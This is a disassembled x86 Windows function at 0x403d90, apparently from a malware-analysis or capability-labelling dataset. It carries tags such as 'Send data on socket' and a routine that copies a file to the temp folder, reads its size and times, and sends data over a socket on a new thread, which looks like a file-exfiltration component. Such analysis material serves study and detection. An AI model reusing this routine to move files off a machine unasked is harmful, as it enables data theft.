Function at 0x403d90
Capabilities:
Copy file
Create thread
Get common file path
Get file size
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x488
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x484]
mov esi, edx
push eax
push esi
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
jne 0x403e3c
push 0x41a170
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 5
call fcn.00404e1d
add esp, 4
mov esi, eax
push 0
test esi, esi
jne 0x403df6
call fcn.00404e93
add esp, 4
lea eax, [esi - 2]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00404cd7
mov esp, ebp
pop ebp
ret
push 5
mov dword [esi], 0
push esi
mov byte [esi + 4], 0
push edi
mov byte [esi], 0x30
mov dword [esi + 1], 0
call dword [sym.imp.WS2_32.dll_send]
push esi
call fcn.00404e93
add esp, 4
push 0x41a170
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00404cd7
mov esp, ebp
pop ebp
ret
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp - 0x214]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x403ef8
lea ecx, [ebp - 0x214]
call fcn.00403ce0
push 0
lea eax, [ebp - 0x214]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x403ef8
push 0
push 0x80
push 3
push 0
push 0
push connect
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x41a158], eax
cmp eax, 0xffffffff
je 0x403ef8
lea ecx, [ebp - 0x228]
mov dword [ebp - 0x218], 0
push ecx
lea ecx, [ebp - 0x220]
xorps xmm0, xmm0
push ecx
lea ecx, [ebp - 0x230]
movq qword [ebp - 0x220], xmm0
push ecx
push eax
movdqu xmmword [ebp - 0x230], xmm0
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
jne 0x403f22
push dword [0x41a158]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x41a158], 0
push ecx
push 0
push 0
mov dl, 0x31
mov ecx, edi
call fcn.00402020
sub eax, 5
add esp, 0xc
neg eax
sbb eax, eax
dec eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00404cd7
mov esp, ebp
pop ebp
ret
push 0
push dword [0x41a158]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push ecx
mov dword [ebp - 0x218], eax
mov dl, 0x32
lea eax, [ebp - 0x230]
mov ecx, edi
push 0x1c
push eax
call fcn.00402020
add esp, 0xc
cmp eax, 0x21
je 0x403f7d
push dword [0x41a158]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x41a158], 0
mov eax, 0xfffffffe
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00404cd7
mov esp, ebp
pop ebp
ret
mov eax, dword [0x41a324]
test eax, eax
je 0x403f99
push eax
call fcn.00404e93
add esp, 4
mov dword [0x41a324], 0
push 0x10
call fcn.00404e1d
mov ecx, dword [0x41a158]
add esp, 4
mov ebx, eax
push 0
push 1
push 0
push 0
mov dword [ebx + 4], ecx
mov dword [ebx], edi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
push 0
push 0
push ebx
push 0x404060
push 0
push 0
mov dword [ebx + 0xc], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebx + 8], eax
cmp eax, 0xffffffff
jne 0x404039
push dword [0x41a158]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebx + 0xc]
mov dword [0x41a158], 0
mov dword [ebx + 4], 0
call esi
push ecx
push 0
push 0
mov dl, 0x31
mov dword [ebx + 0xc], 0
mov ecx, edi
mov dword [ebx + 8], 0
call fcn.00402020
sub eax, 5
add esp, 0xc
neg eax
sbb eax, eax
dec eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00404cd7
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
xor eax, eax
pop edi
pop esi
mov dword [0x41a324], ebx
xor ecx, ebp
pop ebx
call fcn.00404cd7
mov esp, ebp
pop ebp
ret